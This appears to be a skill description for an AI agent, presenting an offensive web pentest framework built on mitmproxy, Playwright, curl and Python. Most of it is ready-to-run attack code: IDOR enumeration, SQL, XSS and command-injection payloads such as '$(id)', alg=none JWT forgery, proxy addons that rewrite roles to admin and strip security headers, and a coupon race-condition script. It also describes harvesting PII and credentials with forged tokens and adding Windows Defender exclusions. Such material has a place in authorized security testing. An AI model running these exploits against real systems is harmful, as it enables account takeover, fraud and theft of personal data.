Casperpro

CASPERPRO: Enterprise Pentest Stack Framework

Superior Alternative to Burp Suite
Enterprise-grade penetration testing using curl + mitmproxy + playwright + python for comprehensive web/API security assessment with CVSS scoring, compliance mapping, WAF bypass, and full automation capabilities.

What I Do

I am an enterprise-grade penetration testing framework that leverages a powerful open-source stack to conduct professional security assessments. Unlike traditional GUI-based tools, I provide:

• Traffic Interception & Analysis: mitmproxy for capturing, analyzing, and manipulating all HTTP/HTTPS traffic
• Browser Automation: Playwright for realistic browser-based testing with JavaScript execution
• API Discovery & Replay: curl for precise API testing and exploitation
• Advanced Automation: Python for complex attack chains, fuzzing, and data analysis
• Package Management: Use uv for Python package management, uv run for execution
• Full Visibility: Complete request/response capture including hidden APIs, tokens, and session data
• WAF Bypass: Advanced evasion techniques for Cloudflare, AWS WAF, ModSecurity, and more
• CVSS 3.1 Scoring: Automatic severity assessment with full vector calculation
• Compliance Mapping: OWASP Top 10 2021, PCI-DSS 4.0, HIPAA, CWE mapping
• Tool Integration: nuclei, sqlmap, ffuf, interactsh for comprehensive testing

When to Use Me

Use this skill when you need to:

• Discover hidden APIs through traffic interception (GraphQL, REST, WebSocket)
• Capture and replay authentication tokens (JWT, session cookies, OAuth)
• Automate complex multi-step attack chains
• Test JavaScript-heavy single-page applications (SPAs)
• Perform browser-based security testing with real DOM interaction
• Build reusable pentest automation scripts
• Generate comprehensive traffic captures for analysis
• Bypass client-side security controls

I am particularly useful for:

• Modern web applications with complex JavaScript frontends
• GraphQL, WebSocket, and gRPC API security testing
• OAuth/OIDC authentication flow testing
• Session management and token analysis
• Rate limiting and WAF bypass testing
• Business logic vulnerability discovery
• Financial application security (payment tampering, race conditions)
• E-commerce security (cart manipulation, pricing attacks)
• Advanced injection testing (SSRF, deserialization, request smuggling)
• Enterprise compliance assessments (PCI-DSS, HIPAA, SOC2)

Core Stack Components

1. mitmproxy - Traffic Interception Engine

Purpose: Intercept, inspect, modify, and replay HTTP/HTTPS traffic

Capabilities:

• Full HTTPS interception with automatic certificate generation
• Python scripting for custom traffic manipulation
• Request/response modification on-the-fly
• Traffic capture to JSON/HAR for analysis
• WebSocket interception
• HTTP/2 support

Installation:

# macOS
brew install mitmproxy

# Linux/macOS/Windows (via uv)
uv tool install mitmproxy

# Windows (via winget)
winget install mitmproxy

Basic Usage:

# Start proxy on port 8082
mitmdump -p 8082 --set block_global=false

# With custom addon script
mitmdump -p 8082 -s addon.py

# Save traffic to file
mitmdump -p 8082 -w traffic.flow

# Replay captured traffic
mitmdump -p 8082 -r traffic.flow

2. Playwright - Browser Automation Engine

Purpose: Automate browser interactions for realistic testing

Capabilities:

• Chromium, Firefox, WebKit support
• Full JavaScript execution
• Network interception
• Screenshot and video capture
• Mobile device emulation
• Stealth mode to avoid bot detection

Installation:

# Install with uv (REQUIRED)
uv add playwright
uv run playwright install chromium

Basic Usage:

from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    # Launch with proxy
    browser = p.chromium.launch(
        proxy={"server": "http://127.0.0.1:8082"},
        headless=False
    )
    page = browser.new_page(ignore_https_errors=True)
    page.goto("https://target.com")
    # Interact with page...

3. curl - API Testing & Replay

Purpose: Precise HTTP requests for API testing and exploitation

Capabilities:

• Full control over request construction
• Cookie and header management
• Certificate handling
• Timing analysis
• Silent operation for scripting

Key Options:

# Basic request with headers
curl -s -X POST "https://api.target.com/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ user { id } }"}'

# Through mitmproxy
curl -s --proxy http://127.0.0.1:8082 -k "https://target.com/api"

# With timing info
curl -s -w "%{time_total}\n" -o /dev/null "https://target.com"

# Save cookies
curl -s -c cookies.txt -b cookies.txt "https://target.com"

4. Python - Automation & Analysis Engine

Purpose: Complex attack automation, data analysis, and scripting

Key Libraries:

# HTTP requests
import urllib.request
import http.client

# JSON processing
import json

# Async operations
import asyncio

# Parallel execution
from concurrent.futures import ThreadPoolExecutor

# Cryptography
import hashlib
import base64
import hmac

# JWT manipulation
# Use PyJWT: uv add pyjwt

Architecture

                                    +-----------------+
                                    |   Target App    |
                                    |   (Web/API)     |
                                    +-----------------+
                                           ^
                                           |
                                           v
+-----------------+              +-----------------+
|   Playwright    |------------->|   mitmproxy     |
|   (Browser)     |   HTTP/S     |   (Intercept)   |
+-----------------+              +-----------------+
                                           |
                                           v
                                 +-----------------+
                                 |  Python Addon   |
                                 |  - Capture      |
                                 |  - Analyze      |
                                 |  - Modify       |
                                 +-----------------+
                                           |
                                           v
                                 +-----------------+
                                 |     curl        |
                                 |   (Replay)      |
                                 +-----------------+
                                           |
                                           v
                                 +-----------------+
                                 |  Python Script  |
                                 |  - Automate     |
                                 |  - Fuzz         |
                                 |  - Report       |
                                 +-----------------+

Testing Workflow

Phase 1: Discovery with mitmproxy + Playwright

Step 1: Create mitmproxy capture addon

# /tmp/mitm_capture.py
import json
import mitmproxy.http

class CaptureAddon:
    def __init__(self):
        self.requests = []
        self.responses = []
    
    def request(self, flow: mitmproxy.http.HTTPFlow):
        req_data = {
            "url": flow.request.pretty_url,
            "method": flow.request.method,
            "headers": dict(flow.request.headers),
            "body": flow.request.get_text() if flow.request.content else None
        }
        self.requests.append(req_data)
        
        # Save incrementally
        with open("/tmp/mitm_requests.json", "w") as f:
            json.dump(self.requests, f, indent=2)
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        resp_data = {
            "url": flow.request.pretty_url,
            "status": flow.response.status_code,
            "headers": dict(flow.response.headers),
            "body": flow.response.get_text() if flow.response.content else None
        }
        self.responses.append(resp_data)
        
        # Save incrementally
        with open("/tmp/mitm_responses.json", "w") as f:
            json.dump(self.responses, f, indent=2)
        
        # Log interesting findings
        if "token" in str(flow.response.headers).lower():
            print(f"[!] TOKEN FOUND: {flow.request.pretty_url}")
        if "graphql" in flow.request.pretty_url.lower():
            print(f"[!] GRAPHQL: {flow.request.pretty_url}")

addons = [CaptureAddon()]

Step 2: Start mitmproxy with addon

mitmdump -p 8082 --set block_global=false -s /tmp/mitm_capture.py

Step 3: Automate browser interaction with Playwright

# /tmp/discover.py
from playwright.sync_api import sync_playwright
import time

TARGET = "https://target.com"
USERNAME = "testuser"
PASSWORD = "testpass"

with sync_playwright() as p:
    browser = p.chromium.launch(
        proxy={"server": "http://127.0.0.1:8082"},
        headless=False
    )
    context = browser.new_context(ignore_https_errors=True)
    page = context.new_page()
    
    # Navigate and login
    page.goto(f"{TARGET}/login")
    page.fill('input[name="email"]', USERNAME)
    page.fill('input[name="password"]', PASSWORD)
    page.click('button[type="submit"]')
    page.wait_for_load_state("networkidle")
    
    # Exercise application functionality
    page.goto(f"{TARGET}/dashboard")
    page.wait_for_load_state("networkidle")
    
    page.goto(f"{TARGET}/profile")
    page.wait_for_load_state("networkidle")
    
    page.goto(f"{TARGET}/settings")
    page.wait_for_load_state("networkidle")
    
    # Capture cookies and storage
    cookies = context.cookies()
    storage = page.evaluate("() => JSON.stringify(localStorage)")
    
    print(f"Cookies: {cookies}")
    print(f"LocalStorage: {storage}")
    
    # Screenshot
    page.screenshot(path="/tmp/discovery.png")
    
    browser.close()

Step 4: Run discovery

uv run /tmp/discover.py

Phase 2: Analysis

Analyze captured traffic:

# View captured requests
cat /tmp/mitm_requests.json | jq '.[] | select(.url | contains("api"))'

# Find GraphQL endpoints
cat /tmp/mitm_requests.json | jq '.[] | select(.url | contains("graphql"))'

# Extract authorization headers
cat /tmp/mitm_requests.json | jq '.[] | .headers | to_entries[] | select(.key | test("auth|token|cookie"; "i"))'

# Find interesting endpoints
cat /tmp/mitm_requests.json | jq -r '.[] | .url' | sort -u | grep -E "(admin|user|account|api)"

Phase 3: Exploitation with curl

Replay captured requests:

# Extract token from captured data
TOKEN=$(cat /tmp/mitm_requests.json | jq -r '.[] | .headers["Authorization"] // .headers["authorization"]' | grep -v null | head -1)

# Test IDOR
for id in {1..100}; do
  echo -n "Testing ID $id: "
  curl -s -H "Authorization: $TOKEN" \
    "https://target.com/api/users/$id" | jq -r '.email // "denied"'
done

# Test GraphQL (discovered via mitmproxy)
curl -s -X POST "https://api.target.com/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{"query":"{ allUsers { id email role } }"}' | jq .

# Test authorization bypass
curl -s -H "Authorization: Bearer null" "https://target.com/api/admin"
curl -s -H "Authorization: Bearer undefined" "https://target.com/api/admin"
curl -s "https://target.com/api/admin"  # No auth header

Phase 4: Automated Exploitation with Python

Create exploitation script:

# /tmp/exploit.py
import subprocess
import json
import concurrent.futures

# Load discovered endpoints
with open("/tmp/mitm_requests.json") as f:
    requests = json.load(f)

# Extract unique API endpoints
endpoints = list(set(r["url"] for r in requests if "/api/" in r["url"]))
print(f"[*] Found {len(endpoints)} API endpoints")

# Extract token
token = None
for r in requests:
    if "Authorization" in r.get("headers", {}):
        token = r["headers"]["Authorization"]
        break

print(f"[*] Using token: {token[:50]}...")

# IDOR Testing
def test_idor(endpoint, original_id, test_id):
    test_url = endpoint.replace(str(original_id), str(test_id))
    result = subprocess.run([
        "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
        "-H", f"Authorization: {token}",
        test_url
    ], capture_output=True, text=True)
    return test_url, result.stdout

# Find endpoints with IDs
id_endpoints = [e for e in endpoints if any(c.isdigit() for c in e)]

print(f"[*] Testing {len(id_endpoints)} endpoints for IDOR")
for endpoint in id_endpoints:
    # Extract the ID from URL
    import re
    ids = re.findall(r'/(\d+)', endpoint)
    if ids:
        original_id = ids[0]
        for test_id in range(int(original_id) - 5, int(original_id) + 5):
            if test_id != int(original_id) and test_id > 0:
                url, status = test_idor(endpoint, original_id, test_id)
                if status == "200":
                    print(f"[!] POTENTIAL IDOR: {url} returned {status}")

# Parallel fuzzing
def fuzz_endpoint(endpoint):
    payloads = ["'", "1 OR 1=1", "{{7*7}}", "${7*7}", "$(id)"]
    results = []
    for payload in payloads:
        test_url = f"{endpoint}?test={payload}"
        result = subprocess.run([
            "curl", "-s", "-H", f"Authorization: {token}", test_url
        ], capture_output=True, text=True)
        if any(x in result.stdout.lower() for x in ["error", "exception", "49", "syntax"]):
            results.append((test_url, payload, result.stdout[:200]))
    return results

print(f"\n[*] Fuzzing endpoints...")
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    futures = {executor.submit(fuzz_endpoint, e): e for e in endpoints[:20]}
    for future in concurrent.futures.as_completed(futures):
        results = future.result()
        for url, payload, response in results:
            print(f"[!] POTENTIAL VULN: {url}")
            print(f"    Payload: {payload}")
            print(f"    Response: {response[:100]}...")

Comparison with Burp Suite

Burp Suite Feature Equivalence with mitmproxy

mitmproxy with custom Python addons provides 90-95% coverage of Burp Suite Pro capabilities. This section documents the exact mappings and pre-built scripts.

Feature Mapping Table

Pre-built Scripts

The scripts/ directory contains ready-to-use mitmproxy addons that replicate Burp Suite functionality:

burp_equivalent.py

Full Burp Suite equivalent with:

• Scope filtering (domain/path patterns)
• Intercept rules (pause matching requests)
• Match & Replace (regex-based modification)
• HTTP History (JSON logging)
• Request/Response inspection

# Start with Burp-equivalent features
mitmdump -p 8082 -s scripts/burp_equivalent.py

intruder_addon.py

Automated payload fuzzing equivalent to Burp Intruder:

• Sniper mode (single position)
• Battering Ram mode (all positions same payload)
• Built-in payload sets: SQL injection, NoSQL injection, IDOR sequences
• Response analysis and anomaly detection

# Run Intruder-style fuzzing
mitmdump -p 8082 -s scripts/intruder_addon.py

live_intercept.py

Real-time interception and modification:

• Credential capture (password fields, API keys)
• JWT token replacement on-the-fly
• SQL injection payload injection
• PII detection in responses
• Automatic logging of sensitive data

# Start live interception
mitmdump -p 8082 -s scripts/live_intercept.py

jwt_forge.py

JWT token forgery utility supporting:

• HS256/HS512 secret cracking and signing
• None algorithm bypass
• Key ID (kid) path traversal attacks
• Arbitrary claim modification

# Forge JWT tokens
uv run scripts/jwt_forge.py --email victim@example.com --secret crapi

pii_extractor.py

Extract user PII using forged JWT tokens:

• Automated account enumeration
• Vehicle/location data extraction
• Credit balance retrieval
• Bulk data export

# Extract PII using forged tokens
uv run scripts/pii_extractor.py --target https://api.example.com

Real-time Interception Example

The key insight is that mitmproxy's request() and response() hooks provide the same real-time modification capability as Burp's Intercept:

# Real-time request interception (equivalent to Burp Intercept)
import mitmproxy.http
import json

class RealTimeIntercept:
    def request(self, flow: mitmproxy.http.HTTPFlow):
        # BEFORE request reaches server - modify anything
        
        # 1. Escalate privileges
        if flow.request.method == "POST" and "role" in flow.request.get_text():
            body = json.loads(flow.request.get_text())
            body["role"] = "admin"
            flow.request.set_text(json.dumps(body))
            
        # 2. Replace JWT token
        if "Authorization" in flow.request.headers:
            flow.request.headers["Authorization"] = "Bearer " + self.forged_token
            
        # 3. Inject payloads
        if "id=" in flow.request.pretty_url:
            flow.request.url = flow.request.url.replace("id=1", "id=1' OR '1'='1")
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        # BEFORE response reaches client - modify anything
        
        # 1. Remove security headers
        for header in ["X-Frame-Options", "Content-Security-Policy"]:
            if header in flow.response.headers:
                del flow.response.headers[header]
        
        # 2. Extract sensitive data
        if "password" in flow.response.get_text().lower():
            print(f"[!] Password found in response: {flow.request.pretty_url}")

addons = [RealTimeIntercept()]

Advantages Over Burp Suite

Advanced Techniques

1. Real-time Traffic Modification

# /tmp/mitm_modify.py
import mitmproxy.http
import json

class ModifyAddon:
    def request(self, flow: mitmproxy.http.HTTPFlow):
        # Escalate privileges
        if "role" in flow.request.get_text():
            body = json.loads(flow.request.get_text())
            body["role"] = "admin"
            flow.request.set_text(json.dumps(body))
            print(f"[*] Modified role to admin: {flow.request.pretty_url}")
        
        # Add auth header to all requests
        flow.request.headers["X-Forwarded-For"] = "127.0.0.1"
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        # Remove security headers
        if "X-Frame-Options" in flow.response.headers:
            del flow.response.headers["X-Frame-Options"]
        if "Content-Security-Policy" in flow.response.headers:
            del flow.response.headers["Content-Security-Policy"]

addons = [ModifyAddon()]

2. JWT Token Manipulation

# /tmp/jwt_attack.py
import base64
import json
import subprocess

def decode_jwt(token):
    parts = token.split(".")
    header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
    return header, payload

def forge_jwt_none(payload):
    header = {"alg": "none", "typ": "JWT"}
    h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=").decode()
    p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=").decode()
    return f"{h}.{p}."

# Read captured token
with open("/tmp/mitm_requests.json") as f:
    requests = json.load(f)

for r in requests:
    auth = r.get("headers", {}).get("Authorization", "")
    if auth.startswith("Bearer ey"):
        token = auth.replace("Bearer ", "")
        header, payload = decode_jwt(token)
        print(f"[*] Original JWT:")
        print(f"    Header: {header}")
        print(f"    Payload: {payload}")
        
        # Modify payload
        payload["role"] = "admin"
        payload["is_admin"] = True
        
        # Create forged token
        forged = forge_jwt_none(payload)
        print(f"[*] Forged JWT (alg=none): {forged}")
        
        # Test forged token
        result = subprocess.run([
            "curl", "-s", "-H", f"Authorization: Bearer {forged}",
            "https://target.com/api/admin"
        ], capture_output=True, text=True)
        print(f"[*] Response: {result.stdout[:200]}")

3. Race Condition Testing

# /tmp/race_condition.py
import subprocess
import concurrent.futures
import time

TARGET = "https://target.com/api/redeem-coupon"
TOKEN = "Bearer eyJ..."
COUPON = "DISCOUNT50"

def make_request():
    result = subprocess.run([
        "curl", "-s", "-X", "POST",
        "-H", f"Authorization: {TOKEN}",
        "-H", "Content-Type: application/json",
        "-d", f'{{"coupon": "{COUPON}"}}',
        TARGET
    ], capture_output=True, text=True)
    return result.stdout

print(f"[*] Testing race condition on {TARGET}")
print(f"[*] Sending 20 parallel requests...")

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
    start = time.time()
    futures = [executor.submit(make_request) for _ in range(20)]
    results = [f.result() for f in concurrent.futures.as_completed(futures)]
    elapsed = time.time() - start

print(f"[*] Completed in {elapsed:.2f}s")
success_count = sum(1 for r in results if "success" in r.lower())
print(f"[*] Successful redemptions: {success_count}")
if success_count > 1:
    print("[!] RACE CONDITION CONFIRMED - Coupon redeemed multiple times!")

4. GraphQL Introspection & Exploitation

# Full introspection query
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__schema{types{name kind fields{name type{name kind ofType{name}}}}}}"}' | \
  jq '.data.__schema.types[] | select(.kind == "OBJECT") | {name, fields: [.fields[]?.name]}' > /tmp/schema.json

# Find sensitive mutations
cat /tmp/schema.json | jq 'select(.name | test("Mutation|Admin|User"; "i"))'

# Test for disabled introspection bypass
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__type(name:\"User\"){fields{name}}}"}' | jq .

Complete Pentest Script

#!/usr/bin/env python3
# /tmp/casperpro_pentest.py
"""
CasperPro Complete Pentest Automation Script
Uses: mitmproxy + playwright + curl + python
"""

import subprocess
import json
import os
import time
import sys
from pathlib import Path

class CasperProPentest:
    def __init__(self, target, proxy_port=8082):
        self.target = target
        self.proxy_port = proxy_port
        self.output_dir = Path("/tmp/casperpro_output")
        self.output_dir.mkdir(exist_ok=True)
        
    def start_proxy(self):
        """Start mitmproxy with capture addon"""
        addon_script = self.output_dir / "addon.py"
        addon_script.write_text('''
import json
import mitmproxy.http

class CaptureAddon:
    def __init__(self):
        self.data = {"requests": [], "responses": []}
    
    def request(self, flow: mitmproxy.http.HTTPFlow):
        self.data["requests"].append({
            "url": flow.request.pretty_url,
            "method": flow.request.method,
            "headers": dict(flow.request.headers),
            "body": flow.request.get_text() if flow.request.content else None
        })
        self._save()
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        self.data["responses"].append({
            "url": flow.request.pretty_url,
            "status": flow.response.status_code,
            "headers": dict(flow.response.headers),
            "body_length": len(flow.response.content) if flow.response.content else 0
        })
        self._save()
    
    def _save(self):
        with open("/tmp/casperpro_output/traffic.json", "w") as f:
            json.dump(self.data, f, indent=2)

addons = [CaptureAddon()]
''')
        print(f"[*] Starting mitmproxy on port {self.proxy_port}...")
        self.proxy_proc = subprocess.Popen([
            "mitmdump", "-p", str(self.proxy_port),
            "--set", "block_global=false",
            "-s", str(addon_script)
        ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        time.sleep(2)
        print("[+] Proxy started")
    
    def stop_proxy(self):
        """Stop mitmproxy"""
        if hasattr(self, 'proxy_proc'):
            self.proxy_proc.terminate()
            print("[*] Proxy stopped")
    
    def discover(self, login_func=None):
        """Run Playwright discovery"""
        script = f'''
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    browser = p.chromium.launch(
        proxy={{"server": "http://127.0.0.1:{self.proxy_port}"}},
        headless=True
    )
    context = browser.new_context(ignore_https_errors=True)
    page = context.new_page()
    
    page.goto("{self.target}")
    page.wait_for_load_state("networkidle")
    
    # Get all links
    links = page.eval_on_selector_all("a[href]", "els => els.map(e => e.href)")
    
    # Visit each link
    for link in links[:20]:
        if "{self.target}" in link:
            try:
                page.goto(link, timeout=5000)
                page.wait_for_load_state("networkidle", timeout=3000)
            except:
                pass
    
    browser.close()
'''
        script_path = self.output_dir / "discover.py"
        script_path.write_text(script)
        print("[*] Running discovery with Playwright...")
        subprocess.run(["uv", "run", str(script_path)], capture_output=True)
        print("[+] Discovery complete")
    
    def analyze(self):
        """Analyze captured traffic"""
        traffic_file = self.output_dir / "traffic.json"
        if not traffic_file.exists():
            print("[-] No traffic captured")
            return {}
        
        with open(traffic_file) as f:
            traffic = json.load(f)
        
        analysis = {
            "total_requests": len(traffic["requests"]),
            "api_endpoints": [],
            "auth_tokens": [],
            "interesting_params": []
        }
        
        for req in traffic["requests"]:
            url = req["url"]
            
            # Find API endpoints
            if any(x in url.lower() for x in ["/api/", "graphql", "/v1/", "/v2/"]):
                analysis["api_endpoints"].append({
                    "url": url,
                    "method": req["method"]
                })
            
            # Extract auth tokens
            for key, value in req.get("headers", {}).items():
                if any(x in key.lower() for x in ["auth", "token", "cookie"]):
                    analysis["auth_tokens"].append({
                        "header": key,
                        "value": value[:100] + "..." if len(value) > 100 else value
                    })
        
        # Save analysis
        analysis_file = self.output_dir / "analysis.json"
        with open(analysis_file, "w") as f:
            json.dump(analysis, f, indent=2)
        
        print(f"[+] Analysis complete:")
        print(f"    Total requests: {analysis['total_requests']}")
        print(f"    API endpoints: {len(analysis['api_endpoints'])}")
        print(f"    Auth tokens found: {len(analysis['auth_tokens'])}")
        
        return analysis
    
    def test_idor(self, endpoints, token):
        """Test for IDOR vulnerabilities"""
        print("[*] Testing for IDOR vulnerabilities...")
        findings = []
        
        for ep in endpoints:
            url = ep["url"]
            # Find numeric IDs in URL
            import re
            ids = re.findall(r'/(\d+)', url)
            
            for orig_id in ids:
                for test_id in [int(orig_id) - 1, int(orig_id) + 1, 1, 999999]:
                    if test_id <= 0 or str(test_id) == orig_id:
                        continue
                    
                    test_url = url.replace(f"/{orig_id}", f"/{test_id}")
                    result = subprocess.run([
                        "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                        "-H", f"Authorization: {token}",
                        test_url
                    ], capture_output=True, text=True)
                    
                    if result.stdout == "200":
                        findings.append({
                            "type": "IDOR",
                            "original_url": url,
                            "test_url": test_url,
                            "severity": "HIGH"
                        })
                        print(f"[!] IDOR FOUND: {test_url}")
        
        return findings
    
    def test_injection(self, endpoints, token):
        """Test for injection vulnerabilities"""
        print("[*] Testing for injection vulnerabilities...")
        findings = []
        
        payloads = {
            "sqli": ["'", "1' OR '1'='1", "1; DROP TABLE users--"],
            "xss": ["<script>alert(1)</script>", "{{7*7}}"],
            "cmdi": ["; id", "| id", "$(id)"]
        }
        
        for ep in endpoints[:10]:  # Limit to first 10
            url = ep["url"]
            
            for vuln_type, tests in payloads.items():
                for payload in tests:
                    test_url = f"{url}?test={payload}"
                    result = subprocess.run([
                        "curl", "-s",
                        "-H", f"Authorization: {token}",
                        test_url
                    ], capture_output=True, text=True)
                    
                    # Check for vulnerability indicators
                    indicators = {
                        "sqli": ["sql", "syntax", "mysql", "postgresql"],
                        "xss": ["<script>", "alert(1)"],
                        "cmdi": ["uid=", "gid=", "root"]
                    }
                    
                    if any(i in result.stdout.lower() for i in indicators.get(vuln_type, [])):
                        findings.append({
                            "type": vuln_type.upper(),
                            "url": test_url,
                            "payload": payload,
                            "severity": "CRITICAL"
                        })
                        print(f"[!] {vuln_type.upper()} FOUND: {url} with payload {payload}")
        
        return findings
    
    def generate_report(self, findings):
        """Generate pentest report"""
        report = {
            "target": self.target,
            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
            "findings": findings,
            "summary": {
                "critical": len([f for f in findings if f.get("severity") == "CRITICAL"]),
                "high": len([f for f in findings if f.get("severity") == "HIGH"]),
                "medium": len([f for f in findings if f.get("severity") == "MEDIUM"]),
                "low": len([f for f in findings if f.get("severity") == "LOW"])
            }
        }
        
        report_file = self.output_dir / "report.json"
        with open(report_file, "w") as f:
            json.dump(report, f, indent=2)
        
        print(f"\n[+] Report generated: {report_file}")
        print(f"    Critical: {report['summary']['critical']}")
        print(f"    High: {report['summary']['high']}")
        print(f"    Medium: {report['summary']['medium']}")
        print(f"    Low: {report['summary']['low']}")
        
        return report
    
    def run(self):
        """Run complete pentest"""
        print(f"[*] CasperPro Pentest - Target: {self.target}")
        print("=" * 60)
        
        try:
            # Phase 1: Discovery
            self.start_proxy()
            self.discover()
            
            # Phase 2: Analysis
            analysis = self.analyze()
            
            # Phase 3: Testing
            findings = []
            
            if analysis.get("api_endpoints"):
                token = ""
                if analysis.get("auth_tokens"):
                    token = analysis["auth_tokens"][0].get("value", "")
                
                findings.extend(self.test_idor(analysis["api_endpoints"], token))
                findings.extend(self.test_injection(analysis["api_endpoints"], token))
            
            # Phase 4: Reporting
            self.generate_report(findings)
            
        finally:
            self.stop_proxy()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    
    pentest = CasperProPentest(sys.argv[1])
    pentest.run()

Tool Requirements

Required

• uv - Python package manager (curl -LsSf https://astral.sh/uv/install.sh | sh or winget install astral-sh.uv)
• mitmproxy - Traffic interception (brew install mitmproxy or uv tool install mitmproxy)
• playwright - Browser automation (uv add playwright && uv run playwright install)
• curl - HTTP client (pre-installed on most systems)
• jq - JSON processor (brew install jq)
• Python 3.9+ - Scripting (managed via uv)

IMPORTANT: All Python package management MUST use uv. Never use pip directly.

Recommended (Enterprise Features)

• nuclei - Vulnerability scanner (brew install nuclei)
• ffuf - Fast fuzzer (brew install ffuf)
• sqlmap - SQL injection (brew install sqlmap)
• interactsh - OOB testing (go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)

Complete Enterprise Installation

# macOS (Homebrew)
brew install mitmproxy jq nuclei ffuf sqlmap

# Python packages (using uv)
uv add playwright mitmproxy pyjwt

# Install browser
uv run playwright install chromium

# interactsh (requires Go)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Verify installation
mitmdump --version
nuclei -version
ffuf -V
sqlmap --version
interactsh-client -version

Linux Installation

# Debian/Ubuntu - Install system dependencies
sudo apt update && sudo apt install -y jq curl

# Install uv (Python package manager)
curl -LsSf https://astral.sh/uv/install.sh | sh
source ~/.bashrc  # or restart terminal

# Initialize project and install Python packages
uv init casper-pentest && cd casper-pentest
uv add mitmproxy playwright pyjwt aiohttp

# Install mitmproxy as global tool
uv tool install mitmproxy

# Install Playwright browsers
uv run playwright install chromium

# Security tools via Go
GO111MODULE=on go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install -v github.com/ffuf/ffuf/v2@latest
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# sqlmap (clone repo, run with uv)
git clone https://github.com/sqlmapproject/sqlmap.git ~/tools/sqlmap
alias sqlmap="uv run ~/tools/sqlmap/sqlmap.py"

Windows Installation (PowerShell 7+)

# Install PowerShell 7 if needed
winget install Microsoft.PowerShell

# Install uv (Python package manager) - REQUIRED
winget install astral-sh.uv

# Core tools
winget install mitmproxy.mitmproxy
winget install jqlang.jq

# Initialize project and install Python packages with uv
uv init casper-pentest
Set-Location casper-pentest
uv add mitmproxy playwright pyjwt aiohttp

# Install mitmproxy as global tool
uv tool install mitmproxy

# Playwright browsers
uv run playwright install chromium

# Security tools (download to ~/tools)
$toolsDir = "$env:USERPROFILE\tools"
New-Item -ItemType Directory -Path $toolsDir -Force

# nuclei
Invoke-WebRequest -Uri "https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_windows_amd64.zip" -OutFile "$env:TEMP\nuclei.zip"
Expand-Archive -Path "$env:TEMP\nuclei.zip" -DestinationPath "$toolsDir\nuclei" -Force

# ffuf
Invoke-WebRequest -Uri "https://github.com/ffuf/ffuf/releases/latest/download/ffuf_windows_amd64.zip" -OutFile "$env:TEMP\ffuf.zip"
Expand-Archive -Path "$env:TEMP\ffuf.zip" -DestinationPath "$toolsDir\ffuf" -Force

# sqlmap (clone and run with uv)
git clone https://github.com/sqlmapproject/sqlmap.git "$toolsDir\sqlmap"

# Add to PATH
$env:Path += ";$toolsDir\nuclei;$toolsDir\ffuf"
[Environment]::SetEnvironmentVariable("Path", $env:Path, "User")

# Windows Defender exclusions (run as Administrator)
Add-MpPreference -ExclusionPath $toolsDir
Add-MpPreference -ExclusionProcess "nuclei.exe", "ffuf.exe"

See casperpro-windows.md for complete Windows implementation including:

• PowerShell HTTP client functions
• Windows mitmproxy integration
• Playwright automation scripts
• IDOR, JWT, injection, and race condition testing
• Complete assessment script

Reference Documents

Detailed methodologies are available in the casperpro-skill/ direc

…(truncated)